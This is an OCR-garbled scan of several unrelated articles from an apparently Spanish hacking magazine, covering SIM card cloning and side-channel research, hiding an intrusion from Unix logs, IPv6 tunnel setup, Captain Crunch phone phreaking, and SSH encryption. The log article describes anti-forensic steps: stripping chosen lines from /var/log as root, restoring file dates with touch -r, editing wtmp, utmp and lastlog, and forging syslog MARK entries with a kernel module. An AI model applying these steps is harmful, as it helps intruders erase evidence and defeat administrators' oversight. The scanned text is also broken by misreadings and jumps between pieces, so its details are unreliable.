quisiera restaurar la versién original.
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Si pensais que clonar un mavil es impaosible, solo tenéis

que daros una vuelta por la red para cambiar de idea...

obre la clonacién de los mé-

los mensaijes telefénicos ¢
rren una serie de divertidas

leyendas urbanas y bromas |
de todo tipo. Paseando por los numerosos
forums de internet puede llegar a leerse
que para recargar una tarjeta telefénica de
gorra, basta con cocerla un poco en el mi-
croondas. Desaconsejamos absolutamen-
te hacerlo porque seguramente se frata de
una broma puesta en circulacién por al-
gun simpdtico de turno, aunque no duda-
mos que haya habido casos de tarjetas
SIM “recalentadas”.

viles y la interceptacion de |

cuada. Pero evidentemente el sistema de
proteccién de un GSM es mucho mas
complejo. Esté basado, en efecto, en un
algoritmo de codificacién contenido en la
SIM y que se llama COMP128. Este algo-
ritmo trabaja sobre un mensaje encripta-
do que sélo puede ser traducido por una
SIM o 128 bits (claves) y prevé otras
150.000 posibles combinaciones. Si al-
guien quisiera atacarlo a distancia tendria
que estar conectado con la tarjeta SIM al
menos ocho horas consecutivas. Mientras
que teniendo la SIM entre las manos hari-
an falta pocos segundos para forzar el cé-
digo y clonar la tarjeta.

> Criptografia
a 128 bits

La proteccién de los GSM (Global System
for Mobile Communication), y en particu-
lar de las comunicaciones, deriva de la
adopcién de un sistema de transmisién de
datos cifrado. En préctica se trata de una
especie de alfabeto personalizado que
permite enviar mensaies, en el curso de la
comunicacién, privados de cualquier sig-
nificado. Pongamos un ejemplo: Quere-
mos comunicar la palabra Barcelona, si
como sistema de criptografia decidimos
sustituir cada letra de la frase con aquella
inmediatamente sucesiva, la palabra en-
viada serd Chsdfmpob, que no tiene nin-
gun significado. No es asf para el usuario
que la recibe, porque esta palabra encrip-

tada estd codificada por un algoritmo en |

clave contenido en la SIM (la tarjeta que
activa el mévil) que, en el caso del ejem-
plo, tendria un valor 2. Para forzar una
criptografia de éste tipo y interceptar los
mensajes bastaria con forzar todos los al-
goritmos del 1 al 26, el nimero de letras
del alfabeto, hasta encontrar la clave ade-

» Elataque particionado

Partiendo de éste Ultimo postulado, el equi-
po de investigacién de IBM ha localizado
un nuevo sistema de ataque (particionado)
a las tarjetas que permite extraer la infor-
macién clave secreta de las SIM controlan-
do los canales laterales, como absorcion
de la corriente de energia y las radiaciones
electromagnéticas. El ataque puede obte-
ner la informacién clave en pocos minutos.
Charles Palmer, director del laboratorio de

Seguridad de Redes y Criptografia de IBM

afirma: “Los teléfonos GSM estdn aumen-
tando y cada vez més a menudo incluyen
SIM toolkits que permiten realizar opera-
ciones como: transferencias bancarias y
servicios afiadidos. En todas esfas situacio-
nes, los datos de identificacién quedan
grabados en la memoria de la SIM. Si es-
tos toolkits no se conciben con cuidado pa-
ra que estén protegidos de los atagues, in-
cluidos los ataques “particionados”, enton-

System: Estandar para la transmi-
@ | sion de datos en la red de telefonia
mévil a través de la transferencia
por paquetes, soporta sea la con-
mutacién de circuito (GSM), que
los SMS. La méxima velocidad es
de 115,2 Kbps, utilizando simultd-
neamente los ocho timeslot dispo-
nibles, delante de los 9,6 Kbps

del GSMr.

' 9 Gprs General Packet Radio

Dual Band: Moviles GSM
? compatibles con

® | ambas tecnologios digitales
sea a 900Mhz o o 1800Mhz.

ces serd muy facil para un hacker duplicar
la informacion de la tarjeta.” Las investiga-
ciones de IBM han desarrollado una técni-
ca para proteger la operaciones de bus-
queda en tablas, que se verifican, por
ejemplo, cuando la SIM se usa para trans-
ferencias bancarias, de los ataques a los
canales laterales (side-channel attacks).
Cuando se pone en marcha una opera-
cién en la SIM, se controla una tabla de
consulta en la memoria, con el fin de obte-
ner un valor almacenado en una posicidn
concreta. Los investigadores han desarro-
llado una técnica que reemplaza una ope-
racién simple de busqueda en una tabla,
por una secuencia de bUsquedas en tabla
en posiciones aleatorias, que no propor-
cionan ninguna informacién relevanté. Es-
to se consigue usando una pequena fabla
generada aleatoriamente, una especie de
sefuelo tecnolégico. La informacién lateral
de los canales quedard camuflada y no se-
ré de ninguna utilidad para un hacker.
Puesto que la técnica propuesta usa poca
RAM para la tabla dependiente, puede
aplicarse facilmente para proteger una
gran variedad de dispositivos de memo-
ria, incluidas las SIM. Los que posean
GSM pueden en todo caso protegerse
con métodos menos tecnolégicos pero
igualmente eficaces: como evitar prestar
el teléfono a desconocidos y dejarlo des-
otendido. €
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TAMBIEN LOS PINGUINOS “LLORAN”

Como eludir el servicio

de log en una maquina

Iniy

cEntrar enun PC con

un sistema Unix sin

dejar huellas? Os
explicamos camo,

eso si no hagais gilip......es

L
il o

gk

> Descripcidn y
funcionamiento

Si sois nedfitos de Linux, podriais no tener fa-
miliaridad con los logs, que se han converti-
do en un mecanismo de base en los orde-
nadores. 2Qué es exactamente el log? Es el
registro de la informacién de sistema y se
efectia mediante syslogd, es decir el dae-
mon de log de sistema que permanece a la
escucha de las informaciones que recibe de
los varios programas que puede escribir en
los logs (registros) o bien ignorar en funcién
del contenido del archivo de configuracién,
que le indica dénde tiene que escribir los ar-
chivos de log.

El syslogd se activa automdticamente duran-
te la iniciacién del sistema pero existe un ca-
so en el que este daemon no se encuentra en
ejecucion y éste es cuando el sistema se en-
cuentra en el nivel 1 de ejecucién (un Gnico
usuario). El motivo por el cual syslogd no se
encuentra habilitado al nivel 1 de ejecucion

es que no se encuentra activo nada que pue-
da efectuar didlogos con él, excepto el kernel
que posee un buffer donde son salvados los
mensajes mientras syslogd no se encuentra
activo. Al lanzar syslogd, éste escucha los
programas en espera que le envien mensa-
jes, utilizando un particular socket UNIX:
/dev/log, que es una especie de pipe abier-
ta donde los programas pueden enviar
mensajes que el daemon recibe en su otra
extremidad, que después elabora y escribe
en un archivo de log o envia a /dev/null.

El programa syslogd tiene numerosas opcio-
nes, pero ninguna se encuentra habilitada
en modo predeferminado y la mayor parte
podria no interesaros. A continuacién se
enumeran algunas de los opciones de uso
comun para el syslogd:

Opciones de utilizo

~h Sirve para entregar los mensajes
que syslog recibe de otros hosts a un
host central de log (requiere -r).

-0 <socket> Si ejecutdis un daemon
con un chroot jail de esta forma se es-
pecifica la posicion del socket de log.
Se pueden anadir hasta 19 sockets de
log exiras.
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(2Que es un chroot jail? Es un simple subdi-
rectorio de donde un determinado usuario
no puede salir y, de esta forma, se convierte
en su root de sistema. Como no se puede
definir una root efectiva, esto limita los dafios
que alguien pueda hacer manipulando el
doemon ejecuténdolo como si fuese aquel
usuario).

-m <interval> Con este parametro es-
pecificaréis una especie de intervalo
entre voces - -MARK- - en el log. El va-
lor predefinido es de 20 minutos y con
un simple 0 se puede desactivar el log
de - -MARK- -,

-l <hostlist> Desactiva los nombres
largos para los hosts listados. Por
ejemplo hostlist es una lista de host
separada por dos puntos.

-r Esta opcion indica a syslog que pue-
de recibir mensajes (vincula syslog a
la puerta 514 como se encuentra defi-
nido en /etc/services, sin este para-
metro syslog no se activaria).

=s <domainlist> Sirve para efectuar el
strip off de los nombres de dominio




listados, de hecho la list es una lista de
nombres de dominio separada por
dos puntos.

Claramente existen otras opciones, pe-
ro sirven principalmente para el debug
y en condiciones normales no resultan
muy Utiles.

Existe una evolucién de este servicio, llama-
da syslog-ng. Se diferencia del precedente
por diversas funcionalidades anadidas, por
la posibilidad de filtrar mensajes estableci-
dos cierfas reglas y sobretodo por el trénsi-
to de mensaies utilizando TCP y no UDP Pa-
ra mayor informacién la pdgina del ma-
nual del sistema responderd a cualquier
pregunta.

>>Eludir el servicio

Como bien se sabe, no todo es seguro al
100% e incluso los sistemas de log pertene-
cen a esta categoria.

Tomemos como ejemplo el syslogd. Como
se ha explicado anteriormente syslogd es-
cribe sobre diferentes archivos de configu-
racién, a saber: en aquellos situados en
/var/log/ y en tres archivos wimp, utmp y
lastlog. Estos Gltimos son diferentes del res-
to y, por este motivo, deberdn ser maneja-
dos de diferente manera. Es necesario eli-
minar de los archivos en /var/log la cade-
na de fexto por nosotros elegida y, para ha-
cerlo, deberiomos ser sUper usuario, des-
pués crearemos un archivo temporal elimi-
nando las lineas de log en las cuales se en-
cuentre presente la palabra interesada, uti-
lizando para ello por ejemplo grep, wc y
awk, realizando la operacién un ndmero
de veces iguales a los archivos de log pre-
sentes en el directorio. Substituiremos los
archivos originales con aquellos modifica-
dos reemplazando la fecha con aquella

original (ej. touch -r).

El préximo paso serd buscar los archivos de
log presentes en otras posiciones. Para esto
analizaremos los archivos de configuracién
del daemon de log (para las problemdticas
relativas a la interpretacién de confs os
mandamos al manual de sistemay) y utiliza-
remos el procedimiento explicado en pre-
cedencia para los elementos encontrados.
Finalmente, sélo nos faltan estos “extrafios”
wimp, utmp y lastlog. Su notacién es dife-
rente a los otros archivos de texto llano y
por este motivo se debe buscar la cadena
de fexto que se desea eliminar en el interior
del archivo, removiendo solo ésta y dejan-
do el resto invariado, mientras que en los
otros el lema es eliminar toda la linea,

En red se pueden encontrar numerosas he-
rramientas para analizar el cédigo fuente.
Aqui no explicaremos cémo realizar uno,
pero frataremos su funcionamiento.
Sucesivamente queda analizar la posibili-
dad que un administrador de sistema haya
colocado logs en posiciones no listadas en
las configuraciones, por ello no estaria de
mas utilizar programas de busqueda de ar-
chivos analizando su contenido.

Se desaconseja el uso reiterativo de este sis-
tema. Hay que considerar que los procesos
de busqueda aumentan notablemente la
elaboracién de la CPU y del disco duro rin-
diendo la operacion “peligrosa” si se quie-
re permanecer bien escondido. Para la lim-
pieza de los posibles archivos encontrados,
siendo copias o textos generados automati-
camente, deberia ser suficiente utilizar el ¢i-
clo ya explicado.

Una vez limpiados los archivos de log
surge una dificultad: modificando estos
archivos el syslogd deja de escribir en los
archivos de output y es necesario volver a
lanzar el daemon. Los problemas son
dos: el primero es el hecho que reinicia-
lizdndolo escribirg en los logs la puesta
en marcha del daemon y el segundo son
los MARKs.

Syslogd desde el momento en el que se
lanza escribe en los logs un mensaije que,
por defecto, es cada 20 minutos del tipo
“- -MARK- - Hostname Fecha Hora etc.” y
que se repite al infinito hasta el reinicio
del daemon.

Este proceso necesita ser ejecutado simultd-
neamente para resolver cada problema al
mismo momento. En lo referente a la escri-
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tura del reinicio, es suficiente un simple mé-
dulo del kernel que vaya a interceptar la Ila-
mada, mientras simulténeamente un script
va a modificar la linea de los MARKs hasta
el reinicio del daemon.
Estas lineas serdn modificadas tomando
en consideracién la hora en la que se ha
ejecutado la operacién, procediendo ha-
cia atrds en funcién del tiempo de inter-
valo definido para los MARKs, repitién-
dolo para cada linea.
Después de haber cambiado simulténea-
mente los MARKS, cargado el médulo y
reinicializado el daemon, podemos eli-
minar el médulo y considerar la opera-
cién terminada.
Por lo que se refiere a syslog-ng el modo de
actuar es el mismo, sélo cambia la interpre-
tacién del archivo de configuracién en modo
que sea capaz de analizar la nueva sinfaxis.
Obviamente todo esto no es tan facil como
puede parecer explicado en palabras, pero
con un andlisis detallado se puede realizar
una aplicacién capaz de realizar todo lo
que ha sido explicado en esta seccién. Con
estos pasos, en el ordenador tomado en
consideracién no deberia permanecer nin-
gln rastro de una posible incursién o de un
trabajo oculto de un administrador de siste-
ma.

r.&d.

? Host: Ordenador al que se

pueden conectar en modo més
o menos ramificado otros
ordenadores.

Script: Cédigo que puede ser
ejecutado directamente por un
programa sin necesidad de ser
compilado. Este Gltimo debe
ser capaz de interpretar el

lenguaie en el que ha sido
realizado el script.
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EL NUEVO PROTOCOLO DE CONEXION A INTERNET

IPU6: Un nUevo pro

IPv6 es un protocolo de conexion destinado a mandar a pension el

1FRAS QUE NO$

Qué es el IPv62 Ipvé estd por
“Internet Protocol version 6” y
es el profocolo destinado a re-
emplozar el actual protocolo
sobre el que se basa Internet,
‘ llamado IPv4. La mayor parte
(en la prcchcc el 100%) de los usuarios de
Internet utiliza IPv4, un protocolo viejo de 20
afios con muchos fallos de seguridad, que
precisamente plantea la realizacién de un
nuevo protocolo. El segundo y mds impor-
tante motivo del nacimiento de IPvé es la fal-
ta de direcciones IPv4 asignables, que estén
por terminarse, pero que son necesarias para
los nuevos ordenadores conectados a Infernet.
El IPvé6 actualmente coexiste con IPv4, apo-
yéndose en una red IPv6-Over-IPv4 lloma-
da ébone, que se apoya a su vez en la ac-
tual red de Internet IPv4, a través de un sis-
tema de tunneling de datos IPvé que se en-
capsulan en paquetes normales IPv4. Las
expectativas son que, denfro de unos afos,
IPv6 reemplazard completamente a IPv4.

> 0e decimal
a edadecimal

La diferencia substancial entre IPvé e IPv4
radica en la estructura de las direcciones,
gue en la vieja version del Internet
Protocol es en base decimal (ej.
62.98.231.67), mientras que en la
nueva version es en base 16 (hexa-
decimal). Un ejemplo de IPvé puede ser:
2001:6b8:0:400::70c (correspondiente o
mi IPvé actual :)).

Veamos mejor su estructura: el nuevo IP
estd formado por 8 blogues de 16 bits ca-
da uno. Observando el ejemplo anterior
notaréis que los blogues no son de 8 bits
sino de 6, en efecto son 8, pero dos blo-
ques estén definidos por “::” porque son
todos ceros. La forma complefo habria si-
do
2001:06b8:0000:0000:0400:000:000
:070c.

Otra forma de escritura del IPvé es la
Nibble. Esta forma se utiliza para la re-

DNS: Domain Name Server. Es
el sistema que permite hacer
corresponder un cierto dominio
con la relativa direccién IP, de
tal maneta que escribiendo el
nombre del dominio de un
sitio, el usuario sea conectado
al ordenador que efectivamente
hospeda aquel sitio.

gién inversa de los DNS (Domain Name
Server). Esta forma prevé que el IP esté
escrito en sentido inverso, cifra por cifra,
sin contradicciones y que cada cardcter
esté separado por un punto. Hagamos
un ejemplo, si el IP es:
2001:6b8:0:400::70c, en la forma Nib-
ble serd
¢.0.7.0.0.0.0.0.0.0.0.0.0.0.4.0.0.0.0.
0.0.0.0.0.8.b.6.0.1.0.0.2.ip6.int.

Si, es un poco larga... Son exactamente
32 caracteres + los puntos + ipé.int. Por
ello, cuando debdis escribirlo en esta for-
ma recordad que deben haber 32 carac-
teres. Otra novedad es que la mdscara
de red que en la v4 se utilizaba para in-
dividuar nodos y redes desaparece y es
substituida por un prefijo. El prefijo es
aquella escritura que sigue al IP es decir
/16/64/127.

¢Para qué sirve? A indicaros cuantos IP
os han sido asignados, o mejor dicho el
nimero de bits fijos. Por ejemplo, si se os
asigna una /128 vosotros no podéis mo-
dificar ninguna cifra porque todas las ci-
fras son fijas (128 bits). Si os dan una
/120 significa que tenéis a disposicion
256 direcciones de IP ¢Cémo he obteni-
do este nUmero? He substraido al nime-
ro méximo de bits el nimero de bits fijos,
de esta forma 128-120=8 y esto me di-
ce que 2 elevado a la octava potencia es
el nimero de IPs que puedo utilizar. Se
debe considerar que el nimero de direc-
ciones IPvé6 asignadas por los Tunnel Bro-
ker (proveedores que ofrecen servicios de
tunneling IPv6-Over-OPv4 gratis) son es-
taticos, por lo tanto se puede disfrutar de

lo comodidad de un IP estdtico, resol-
viéndose en un nombre de dominio a
través de DNS sin fener que actualizarlo
a cada cambio de IP. Los sistemas opera-
tivos mds recientes (sisemas Windows a
partir de Win2k(SP1)) estén dotados de
soporte de tunneling IPv6-Over-IPv4 inte-
grado. En algunas distribuciones de Linux
para instalar el profocolo IPv6 es necesa-
rio una recopilacién de kernel (para los
kernels monoliticos) mientras que para
las otras se debe simplemente cargar el
médulo relativo a IPv6 (modprobe ipvé).
Para funcionar, un tinel IPvé necesita ser
configurado por dos lados: el servidor (el
Tunnel Broker) y el cliente (nuestro PC). El
servidor serd configurado automdtica-
mente por el tb (Tunnel Broker), mientras
que a nosotros nos toca la configuracién
del cliente =). Para activar un tdnel de
datos IPv6-Over-IPv4, obviomente-es ne-
cesario estar inscrito en un Tunnel Broker,
de los que habldbamos en precedencia.
Existen ya Tunnel Brokers en Espafia co-
mo el de Wanadoo o El Mundo. Cada tb
posee procesos de autenticacién y actua-
lizacién IPv4 un poco diferentes. En cual-
quier caso, en las péginas web de los
Tunnel Broker hay presentes How-To y
FAQ bastante completas. Después de ha-
berse inscrito a un tb, se deberia recibir
un mail con los datos de nuestro tunel,
que son: Login y password.

Nuestra direccién IPvé6 (y/o nuestra
Subnet, si nos ha sido asignada una)
Endpoint IPv4 (es decir, el IP del Tun-
nel Broker)

Endpoint IPv6 (IPv6 del Tunnel Broker, no
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viejo IPv4, que por otra parte podra obtener el ajuste de la “minima”

siempre es necesario). Se debe conside-
rar el hecho que el Tunnel Broker, para
consentir el transito de datos IPvé sobre
paquetes IPv4 y para configurar el “lado
del servidor” introducido anteriormente
debe conocer nuestra direccién IPv4, el
cual (siendo en la mayor parte de los ca-
sos dindmico, salvo en las lineas de ban-
da larga tipo xDSL, etc.) debe ser actua-
| lizado a mano en el sito web del propio

1 Tunnel Broker, o bien con los scripts pre-

cisos (script bash para Linux, script Perl
para Windows), que a través de solicitu-
des HTTP, evitan introducir a mano login,
contrasefa y direccién [Pv4,

Para verificar si es necesario o no recom-
pilar el kernel de Linux, escribimos (como
superusuario):

[root@localhost/root |#modprobe
ipv6

Hecho esto escribimos:
[root@localhost/root |#ifconfig

Si estdis de suerte, vuestra distribucién
soportard IPvé de forma nativa y el out-
put de “ifconfig” serd algo parecido a:

Lo Link encap: Local Loopback
EneEdadde s lais0 i, 1

Mask: 225.0.0.0

Inet6 addr: ::1/128 Scope:Host—>
ila linea que os interesa! Si
obtenéis esto podéis saltar so-
bre una pierna de alegria =)

UP LOOPBACK RUNNING
MTU: 16436

Metric:1

RX packets:20 errors:
0 over

runs:0 frame:0

TX packets:20 errors: 0 dropped
0: overruns O:carrier:0
collisions:0 txqueuelen: 0 °
rxbytes:1400 (1.3 Kb) TX
bytes:1400 (1.3 Kb)

0 dropped

En este ejemplo se lista sélo el interfaz lo
y ningun interfaz ppp, porque el coman-
do ha sido ejecutado offline =).

[root@localohost/root |#

Después de haber realizado esto, por se-
guridad realizamos un ping del corres-
pondiente host local (127.0.0.1) en ipvé,
es decir ::1

[root@localohost/root ]# ping6 ::1

Si todo va bien observaréis un output se-
mejante al siguiente (para interrumpir el
ping, CTRL+C).

BENG st (53
Data bytes
64 bytes from ::1: 1cmp seqg=0
hops=64 time=55, usec

64 bytes from ::1: icmp seqg=1
hops=64 time=45 usec

64 bytes from ::1: icmp seg=2
hops=64 time=44 usec

64 bytes from ::1: icmp seq=3
hops=64 time=46 usec

64 bytes from ::1: icmp seg=4
hops=64 time=45 usec

64 bytes from ::1: icmp seq=5
hops=64 time=47 usec

64 bytes from ::1: icmp seqg=6
hops=64 time=42 usec

— ::1 ping statisties —

7 packets trasmitted, 7 pac-
kets ‘

received, 0% packet loss
round-tripmin/avg/max/mdev=
0.0042/0.046/0.055/0.006 ms
[root@localhost root/|# '

Gl e Rl e e S 5iG)

Si no habéis dado ningun brinco de ale-
gria es porque vuestra distribucién Linux
no soporta IPv6 nativamente, no corred a
buscar la pipa en el cajén; imds bien
abrochaos los cinturones! iOs espera un
excitante viaje a la reconfiguracién del
kernel de Linux! Os recuerdo que para
recompilar el kernel, debéis tener su cé-
digo fuente en /usr/src/linux si no los te-

néis podéis procurdoslo del CD de vues-
tra distribucién o bien descargarlo en
www.kernel.org. He aquf los pasos nece-
sarios para activar el protocolo IPvé du-
rante la recompilacién del kernel.

Cd/usr/src/linux
Make menuconfig

Per Kernel 2.2.x seleccionar:
Cade maturity level options

[*] Prompt for development

and/ox

incomplete code/drivers
Networking Options

[*] Kernel/User netlink socket
[*] Netlink device emulation

[*] The Ipv6 protocol (EXPERIMEN-
TAL)

[*] Ipv6: enable EUI-64 token for-
mat

[*] Ipv6: disable provider based
addresses

' Per Kernel 2.4.x seleccionar:

Code maturity level options

[*] Prompt for development
and/or

incomplete code/drivers
Networking Options

[*] Kernel/User netlink socket
[*] Routing messages

[*] The Ipvé6 protocol (EXPERIMEN-
TAT,)

Salid y escribid en el prompt:

make dep

make clean

make bzImage

cd usr/src/linux/arch/i386/boot
Ahora que tenemos nuestro nuevo kernel
con el IPvé habilitado tenemos que ha-

cerlo empezar al inicio del sistema, asi
escribimos:
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EL NUEVO PROTOCOLO DE CONEXION A INTERNET

Microsoft

Professional

cp bzImage /boot/bzImage6

Es importante que no sobrescribdis el viejo
bzlmage, por eso durante la copia le cam-
biamos el nombre, yo por ejemplo lo he lla-
mado bzlmageé. Ahora vamos al archivo de
configuracién del lilo para indicarle que al
inicio del sistema deseamos escoger si que-
remos empezar con el viejo kernel o con el
nuevo, as:

cd /etc editamos el archivo de configu-
racion de lilo:

pico lilo.conf (o bien lo editamos con un edi-
tor grdfico). Al final del archivo afadimos:

image=/boot/bzImageb
label=Ipvé6read-only o
root=/dev/hda2

Debemos estar atentos en colocar una
etiqueta label diferente a las existentes en
las lineas precedentes, yo por ejemplo la
he llamado IPv6. Salvamos el archivo y
para verificar que todo esté bien escribi-
mos: lilo y como respuesta debemos ob-
tener:

linux* IPv6

Si es asf, sélo nos falta reinizializar el or-
denador y al inicio elegir el nuevo kernel.
A este punto, si escribis ifconfig deberéis
aparecer ante las diferentes interface del
famoso INETé del que os he hablado an-
tes. Para mayor seguridad, intentad rea-
lizar un ping como indiqué antes “ping6
::1”. Veamos ahora como se instala [Pvé
en Win2k:

»Instalamos IPv6
en Win2000/4HP

& /= En primer lugar hay que asegu-
/.  rarse que Windows 2000 haya
Windows !' sido actualizado con el Service
Pack 1 o 2, en caso contrario
| serd necesario proceder a su
instalacién antes de confinuar. Si tenemos
instalado el Service Pack 1 descargaremos
el paquete para SP1, en caso contrario, si
se ha instalado el Service Pack 2 bajaremos
el paquete para SP2 (simple, ¢no?). Una
vez descargado el paquete IPvé adecuado,
instélalo siguiendo las instrucciones a video
(para SP2 es suficiente ejecutar hotfix en la
carpeta de setup). A este punto puedes pro-
seguir con los siguientes pasos: (si dispones
de una farjeta Ethernet instalada salta al

punto 7)

1. Inicio -> Configuracion -> Panel
de control y seleccionar Instalar
nuevo hardware

2. Seleccionar Anadir/resolver pro-
blemas y pulsar sobre Adelante

3. De la lista visualizada seleccio-
nar Anadir un nuevo periférico y
pulsar Adelante

4. Ahora seleccionar No, el hard-
ware serd seleccionado de una lista
y pulsar nuevamente Adelante

5. Seleccionar Tarjeta de red, pul-
sar Adelante

6. En la columna “Productores” se-
leccionar Microsoft y en la columna
“Tarjetas de red” seleccionar Tarje-
ta Microsoft Loopback después pul-
sar Adelante

7. Pulsar en Inicio -> Configuracién
-> Redes y conexiones remotas,
pulsar el botén derecho del ratén
sobre Conexiones a la red local y
seleccionar “Propiedades”

8. Deberia abrirse una nueva ven-
tana donde poder pulsar sobre
“Instala”

9. A este punto seleccionar Protoco-
lo y después pulsar sobre “Anade”
10. Seleccionar “Microsoft IPv6 Pro-
tocol”: has terminado.

En el caso que tuviéramos instalado el Gl-
timo sistema (des)operativo de la casa
Microsoft, las cosas son mucho mds sim-
ples para instalar el protocolo IPv6:

Microsoft windows XP [Version
Bicdl 26007

(C) Copyright 1985-2001 Microsoft
Corp.

@\ Dol i mi efnakisia nod
Settings\VIP3R>ipv6 install

Instalacién en curso... Opera-
cibén finalizada con suceso.

..y ya esta todo hecho. Seré necesario
reinicializar el ordenador.

Ahora veamos como configurar el sistema
para permitir el tunneling IPvé-Over-IPv4.

Configuramos el cliente (Win2k/XP)

Esta fase es uniforme, no hay diferencias
entre los dos sistemas operativos Micro-
soft que soportan IPv6. Dos comandos,
uno para conectarse al Endpoint IPv4
ofro para conectar nuestro propio IPvé
asignado por el Tunnel Broker.

Veamos el primero...

Tovh rru s:/0

2/ ::PROPRIO.ENDPOINT.Ipv4 pub
=8 ipy6 rbu e /0

2/ A XAX XXX XXX XXX pub

He aqui el segundo...

Ipv6 adu 2/PROPRIO:Ipv6 —
>Ipv6adu2/XXXX ; XXXX ; XXXX 1 XXXX:
KXXX : XXXX : XXXX : KXXX

Configuramos el cliente (Linux)

Para Linux, los comandos varian de dis-
tribucién en distribucién. Pero esencial-
mente son 3:

1. Para activar el interface sit0, es
decir el interface de red IPv6 Over-
IPv4 escribimos:

[root@localhost viper]#ifconfig
sit0 up

2. Nos asignamos nuestro IPvé:
[root@localhost viper]# ifcon-
fig sit0 inet6 add aqui:nues-
tro:ipve

3. Nos conectamos al Endpoint IPv4 con:

[root@localhost viper]# route

A inet6 add ::/0 gw ::end-
point.ipvé

Sito

Et voild, les jeux sont faits!

De todas formas, ulterior informacién so- |
bre el protocolo IPv6, sobre como insta-
larlo sobre otros sistemas operativos (gj.:
freebsd o MacOS) es posible encontrarla
en la Web. Os envio a los siguientes
URLs:

Tunnel Broker de Wanadoo

Tunnel Broker de El Mundo
El mejor sitio de IPv6, en inglés

Hurricane Electric, Tunnel Broker
americano

Enésimo Tunnel Broker europeo




EL “SILBATO” QUE PINCHA LA RED TELEFONICA...

@ cAPN
CRUNCH

En el primer nimero dedicamos como seis lineas al precursor

de todos los hacker modernos: iun triunfo!

De manera que hemos decidido contaroslo con mas profundidad.

N

ohn Draper, alias Captain |
Crunch, fue el primer hacker,

que la historia recuerde.

Quizds no el primero en lo

absoluto, pero sin duda, el

mds genial. La historia es
bastante conocida: Draper, durante los
afos 70, encontrd un silbato dentro de
' una caja de cereales, o funda de pa-
' pas segn la versién, el cual emitfa un
- sonido con una frecuencia que se acer-
' caba a 2600 Hertz, capaz de desblo-
' quear la linea del sistema telefénico
' americano y obtener la sefial libre pa-
ra llamar a cualquier rincén del mun-
do. Los cereales (o las papas, segin
' haya sido el caso), tenfan un nombre
' bastante divertido, Captain Crunch,
' que se convirtié en el sobrenombre de
' Draper. Este, después de haber utiliza-
do la técnica del silbato, dispuso un
sistema més complejo y eficaz para
llamar de forma gratuita a cualquier
parte: el Bluebox. Un dispositivo que
' permitia acceder a los nUmeros verdes
para encauzar las llamadas en cual-
| quier direccién. Segun las leyendas,
' John Draper utilizando Bluebox consi-

guié, incluso, llamar al Vaticano ha-
- ciéndose pasar por John Kissinger. Pe-

ro lo curioso es que en el proyecto
Bluebox participaron nombres destaca-
dos del escenario informdtico contem-

“pordéneo, como Steve Jobs, actual lider
de Apple. El Unico inconveniente es

que a John Draper siempre le ha gus-
tado contar sus descubrimientos, por lo

que fue identificado y arrestado por el |
| FBI, mientras que sus “colegas” prefi-
| rieron permanecer ocultados en un lu-

gar més seguro. Y efectivamente, asf
Draper continué su vida de “gitano” de

la informédtica mientras que sus coetd- |
neos fueron acomoddndose detrds de

sus escritorios de palisandro con sillén

de piel incorporado. Participé, conjun- |
tamente con su amigo Jobs, al naci-
miento de Apple, desarrollé los prime-

ros videojuegos y durante mucho tiem-
po estuvo en la India, siguiendo la mo-
da de la contracultura de los afios 70.
Se dice que tiene un caimdn, como
animal doméstico, en la bafera. Cosa
perfectamente en linea con su estilo de

vida. Las notficias mds recientes de |

“nuestro capitdn”, apuntan que estd
cerca de franquear la barricada. Pare-

ce, en efecto, que ayudard a defender-

se de los ataques de los piratas de la
red a los sitios de grandes sociedades.

Pero el mito continGo @
Blue Box: permitia activar
los cédigos de control de las
® lineas telefénicas analégicas
y efectuar llamadas gratis.
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HERRAMIENTAS
DEL OFICIO

El catdlogo de los instrumentos
utilizados por Crunch para

llamar gratis es muy amplio:
monedas de hielo, descargas
eléctricas, magnetos, hasta la

sofisticadisima y famosa Blue

Box, un accesorio capaz de imitar
las senales tipicas de las lineas
de comunicacién. De esta manera
terminé por llamar la atencién del
FBI y el capitan Crunch fue
arrestado en los anos 70.

PHONE PHREAKING

Con el transcurso de los afios y
con la llegada de los chips DSP el
phone phraeking pasa por los
ordenadores y las blue box se
convierten en programas software
que generan y envian los tonos
deseados. Todavia hoy pueden
detectarse 150.000 ataques a los
teléfonos piblicos sélo en Nueva
York, mientras phone phreaker de
todo el mundo se encuentra
constantemente en las lineas
para charlar.

FUENTES

En Ciberpunk, antologia de
textos politicos, ed. Shake,
1990 Paul Mungo y Bryan
Glough, Approaching Zero,
Random house, 1992.




COMO LUCHAR CONTRA EL “SNIFFING” DE DATOS

Lonediones
encriptadas con SSH

EL misterioso LoRdUicio nos guia a traves
de los meandros de Secure Shell, un modao eficaz
de protegernos del sniffing de datos...

? SNIFFER; Wn sniffer g5 =) =3}
@ | clolduier instrumento, ‘'sea un

| sofiware o un hardware, que
recogefo informacién que
vigia 0 foargo e gt red ™
“(network). CeRerc mepteli sea* o .

utiliza seftware mgifier NP ~

E

no de los mayores peligros de la
red es lo sniffing, una de las técnicas
mds usadas por los cracker para ob-
tener username y password validos
para acceder a los sistemas que quieren violar.
Con la técnica de sniffing eventuales malinten-
cionados se ponen en alerfa en red e infercep-
tan todos los paquetes en fransito, en la bus-
queda de usernome y password fransmitidos
en claro. Si vuestra red no es segura o queréis
conectarse a un servidor Unix una red diversa
de la vuestra, para evitar el peligro de lo snif-
fing, conviene realizar conexiones encripta-
das... Secure Shell (Ssh) es el mejor modo de
encriptar vuestra conexién ante ofros sistemas y
poder navegar tranquilamente. Con ssh es po-
sible efectuar el tunnelling de conexién x11 o
de ofras aplicaciones que trabajan en particu-

modo seguro!

Este protocolo resuelve “grandes” proble-
mas de seguridad de protocolos TCP/IP co-
mo spoofing:

IP spoofing - - > falsificacién de la direc-
cién IP del remitente
DNS spoofing - -

formacién de DNS
Routing spoofing - - > falsificacién de la
via iniciada por los paguetes

> falsificacion de la in-

lares puertas, de modo que éstas trabajen en

La Ssh1 es la versidn mas vieja, la Ssh2 es
una completa reescritura de la vieja version
pero mds segura. Nosotros nos ocuparemos
de la primera version...

\==>InlclamO < - - /

Cada host instalado en ssh posee una
copia di llaves RSA ( un algoritmo de cripto-
logia a llaves asimétricas) largo 1024 bit,
una publica y una privada. Ademés, cada
usuario que utiliza ssh puede opcionalmen-
te generar una propia copia de llaves RSA.
Durante la conexién, el servidor comunica
al cliente dos llaves publicas:

*una fija de 1024 bit que es la verdadera
y propia llave del host ///

*la ofra de 768 bit que viene regenerada
cada hora ///

Entonces el cliente genera una secuencia

| casual de 256 bit (challange) y la codifica

con las lloves poblicas del servidor. Desde
este momento la conexién viene criptogra-
fiada con un algoritmo o llaves simétricas
soportadas de ssh (IDEA, DES, 3DES, ecc..)
